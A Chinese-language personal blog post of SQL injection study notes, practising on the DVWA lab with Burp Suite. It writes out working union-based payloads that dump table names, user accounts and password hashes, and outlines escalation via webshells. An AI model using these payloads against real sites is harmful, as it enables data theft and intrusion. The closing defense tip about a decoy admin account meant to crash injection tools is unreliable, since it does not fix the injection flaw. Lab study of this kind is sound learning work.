小知识:
大家知道骇客们攻击网站主要有哪些手法?
SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。
下面,就让我们一起推开计算机中那另一扇不为人知的门---
SQL注入通过网页对网站数据库进行修改(就是通过把SQL命令插入到 Web表单提交 或 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令)。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,
造成SQL注入漏洞原因有两个:
一个是没有对输入的数据进行过滤(过滤输入),
还有一个是没有对发送到数据库的数据进行转义(转义输出)。
一般注入点:
表单、URL、登录框(页面请求查询)
常用的DVWA安装部署---
dvwa是一个专门用来做web渗透测试用的框架,
DVWA共有十个模块,分别是:
Brute Force(暴力(破解)
Command Injection(命令行注入)
CSRF(跨站请求伪造)
File Inclusion(文件包含)
File Upload(文件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)
同时每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。通过从低难度到高难度的测试并参考代码变化可帮助学习者更快的理解漏洞的原理。
下载地址:https://github.com/ethicalhack3r/DVWA
PHP集成环境部署,因为DVWA是PHP写的
下载地址:https://www.xp.cn/
安装教程不写了,挺简单的哈哈,
参考:https://jingyan.baidu.com/article/a3a3f81117e5f18da2eb8a09.html
配置:https://blog.csdn.net/sime_km/article/details/79891475
放到www文件下(我没放出现404)
修改的配置文件。中国数据库打不开 --结果因为端口被占用 之前开的数据库
浏览器输入:http://localhost/dvwa-master/setup.php
点创建数据库 成功后 会进入登录页 http://localhost/dvwa-master/login.php 默认登录名admin 密码 password。
可以开始使用了。。
----后来补充的
整数型判断
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from <表名> where id = x
这种类型可以使用经典的 and 1=1
和 and 1=2
来判断:
http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。原因如下: 当输入 and 1=1
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下: select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1
和 and '1'='2
来判断:
http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。同理手工注入:
自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。
SQL 注入分类
按SQLMap中的分类来看,SQL注入类型有以下 5 种:
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
SQL 注入常规利用思路:
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
下面简要介绍手工注入(非盲注)的步骤。
一、测试需求分析
二、判断是否存在注入点,以及注入的类型
三、获取数据库信息
1.猜解所查询的字段数目
2.获取字段显示位
3.通过显示位获取数据库信息
4.获取数据库中的表名
5.获取表中的列名(字段)
6.导出数据库中的数据
7.验证导出数据的有效性
一、测试分析
测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工方式
查看low级别的PHP源码,
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input //提交事件
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//以上代码所构造sql查询语句中的参数id,是从前端提交到后端
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results 这里可以看到并没有对前端的数据进行合法性检查
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
";
First name: {$first}
Surname: {$last}
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> //当实际进行检测时,一开始并不知道后端的代码,需要进行类似于黑盒测试,构造一些特定的输入字符向服务端提交,根据响应返回的信息进行判断是否存在SQL注入漏洞。
二、判断是否存在注入,有返回数据说明是有注入的 判断一般分为两种:数字 字符两种
SELECT first_name, last_name FROM users WHERE user_id = '$id';这是刚才提取的sql语句,
根据别人的文档查看输入 单引号'和但反斜杠/会报错,但我的页面是重新刷新---问题点
我的地址栏显示:卸载重新安装也不行
我的页面提示
双引号:可以识别但无id
10 的时候不存在注入---后面查看了帮助文档,原来这里面本就只有五个用户,
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
因为之上的问题一直未解决 我又在Xammp上安装 教程之前有 在这说下要改的配置文件是三个 但上面只改了一个 我卸载了也没试试 有空再说吧 一个是Xammp 下的php.ini和dvwa下的和config文件
改如下几处;
密码我设置为空了 ,不为空就无法创建数据(好像跟我之前的商城项目有关系哈哈哈) 还有个注意点就是端口号,我在装Xammp时修改了这要达成一致
地址:http://localhost:8080/dvwa-master/setup.php# 要全绿哦 不要怕绿哈哈
我当时用的key:09f08a3dc1c7c2a35a03f202a83430e9
登录进来:这时安全级别为低 ,之前的安全级别为不可能 所以导致我输入 单引号或双斜杠不报错吧 我先试试
现在我在sql注入输入'
输入:1' and '1'='1
三、(1):猜解SQL查询语句中的字段数
1' order by 2# 1' order by 3# 根据对比得知sql语句查询的表字段为2.
三(2)、获取字段显示位(SQL语句查询之后的回显位置)不太明白
1' union select 1,2# #是注释的作用
三(3),通过显示位获取数据库信息----说明当前的数据库为dvwa
1' union select version(),database()# 获取当前数据库及版本
三(4)获取数据库中的表-------说明数据库dvwa中一共有两个表,guestbook与users。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
三(5)获取数据库表中的字段
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
字段为:user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
三(6)获取数据表中的数据
1' union select user,password from users#
1' union select comment,name from guestbook#
三(7)验证数据的有效性 就是把获取的数据是加密的通过一般像MD5获取其他当时破解密码。
BurpSuite是进行Web应用安全测试集成平台。它将各种安全工具无缝地融合在一起,以支持整个测试过程中,从最初的映射和应用程序的攻击面分析,到发现和利用安全漏洞。Burpsuite结合先进的手工技术与先进的自动化,使你的工作更快,更有效,更有趣。在安全人员常用工具表中,burpsuite排在第13位,且排名在不断上升,由此可见它在安全人员手中的重要性。Burpsuite的模块几乎包含整个安全测试过程,从最初对目标程序的信息采集,到漏洞扫描及其利用,多模块间高融合的配合,使得安全测试的过程更加高效。
运行run
主要模块:
关于Burp Suite, 它是进行Web应用安全测试的一个集成平台,无缝融合各种安全工具并提供全面的接口适配,支持完整的Web应用测试流程,从最初的映射和应用程序的攻击面分析到发现和利用安全漏洞等领域均适用。
抓包使用篇:
1、打开burpsuite,proxy中设置代理为127.0.0.1;
2、chrome中设置代理为127.0.0.1,端口及域名需与burpsuite中设置保持一直;
3、使用filter,设置js、css等文件不显示,方便抓包;
4、interpert is on表示拦截开启的状态,off为拦截关闭的状态,即所有文件均会被抓取;
5、history中所有url均可查看
火狐-设置-网络设置--
Intercept is on 表示开启拦截请求
Intercept is off 表示关闭拦截请求
哎呀累死我了,我不想弄了 为啥类我low不知道怎么转化为Medium 有时间再说吧 先放放
防御SQL注入有妙法
第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试。
可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。
第二步:对于注入分析器的防范,通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
我们通过上面的三步完成了对数据库的修改。
另外要明白您做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。只要在管理员登录的页面文件中写入字符限制就行了,就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。